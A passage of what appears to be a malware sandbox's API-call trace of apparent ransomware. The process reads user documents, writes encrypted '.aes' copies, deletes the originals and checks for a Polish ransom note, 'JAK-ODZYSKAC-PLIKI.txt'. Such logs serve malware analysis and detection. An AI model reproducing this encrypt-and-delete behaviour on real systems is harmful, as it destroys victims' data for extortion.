[0079.453] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0079.460] LocalFree (hMem=0x6ff2da0) returned 0x0 [0079.460] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0079.470] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0079.470] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0079.478] LocalFree (hMem=0x6ff2da0) returned 0x0 [0079.478] LocalFree (hMem=0x7074460) returned 0x0 [0079.478] GetBestInterfaceEx (in: pDestAddr=0x2894d40*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0079.553] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.554] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.555] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.555] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.555] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.555] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.555] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.556] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.556] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.556] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.557] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.557] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.557] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.557] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.557] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.558] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.558] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.558] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.558] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.558] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.558] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.558] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.559] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.559] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.559] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.559] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.559] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.559] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.559] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.559] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.560] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.560] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.560] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.560] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.560] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.560] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.561] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.561] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.561] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.561] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.561] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.561] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.561] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.562] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.562] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.562] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0xbd1, lpOverlapped=0x0) returned 1 [0079.562] ReadFile (in: hFile=0x8e4, lpBuffer=0x2744ab4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2744ab4*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0079.562] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0xcf1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce974*=0xcf1, lpOverlapped=0x0) returned 1 [0079.562] WriteFile (in: hFile=0x8dc, lpBuffer=0x2847870*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2847870*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0079.562] CloseHandle (hObject=0x8dc) returned 1 [0079.563] CloseHandle (hObject=0x8e4) returned 1 [0079.563] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\D-4thVUMdh.csv", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\D-4thVUMdh.csv", lpFilePart=0x0) returned 0x2a [0079.563] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\D-4thVUMdh.csv" (normalized: "c:\\users\\kft6utqw\\documents\\d-4thvumdh.csv")) returned 1 [0079.566] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0079.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0079.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92ddae0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe92ddae0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe92ddae0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0079.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0079.566] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0079.586] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Ev0YlMk5921.pptx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\Ev0YlMk5921.pptx", lpFilePart=0x0) returned 0x2c [0079.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0079.586] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Ev0YlMk5921.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\ev0ylmk5921.pptx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa932d2b0, ftCreationTime.dwHighDateTime=0x1d32de4, ftLastAccessTime.dwLowDateTime=0x31eed040, ftLastAccessTime.dwHighDateTime=0x1d2d8f4, ftLastWriteTime.dwLowDateTime=0x31eed040, ftLastWriteTime.dwHighDateTime=0x1d2d8f4, nFileSizeHigh=0x0, nFileSizeLow=0x16131)) returned 1 [0079.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0079.586] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Ev0YlMk5921.pptx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\Ev0YlMk5921.pptx", lpFilePart=0x0) returned 0x2c [0079.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0079.586] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Ev0YlMk5921.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\ev0ylmk5921.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0079.586] GetFileType (hFile=0x8e4) returned 0x1 [0079.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0079.586] GetFileType (hFile=0x8e4) returned 0x1 [0079.586] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Ev0YlMk5921.pptx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\Ev0YlMk5921.pptx.aes", lpFilePart=0x0) returned 0x30 [0079.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0079.586] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\Ev0YlMk5921.pptx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\ev0ylmk5921.pptx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8dc [0079.586] GetFileType (hFile=0x8dc) returned 0x1 [0079.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0079.587] GetFileType (hFile=0x8dc) returned 0x1 [0079.587] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0079.596] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0079.597] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0079.604] LocalFree (hMem=0x703ef10) returned 0x0 [0079.604] GetAdaptersAddresses () returned 0x6f [0079.608] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0079.608] GetAdaptersAddresses () returned 0x0 [0079.615] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0079.621] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0079.621] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0079.627] LocalFree (hMem=0x6ff2da0) returned 0x0 [0079.628] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0079.634] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0079.634] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0079.640] LocalFree (hMem=0x6ff2da0) returned 0x0 [0079.640] LocalFree (hMem=0x7074460) returned 0x0 [0079.640] GetBestInterfaceEx (in: pDestAddr=0x28bf194*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0079.705] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.706] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.706] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.707] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.707] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.707] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.707] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.707] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.707] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.708] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.708] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.708] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.710] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.711] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.711] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.711] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.711] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.711] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.711] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.711] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.712] WriteFile (in: hFile=0x8dc, lpBuffer=0x2871464*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2871464*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0079.712] ReadFile (in: hFile=0x8e4, lpBuffer=0x2753984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2753984*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0079.712] WriteFile (in: hFile=0x8dc, 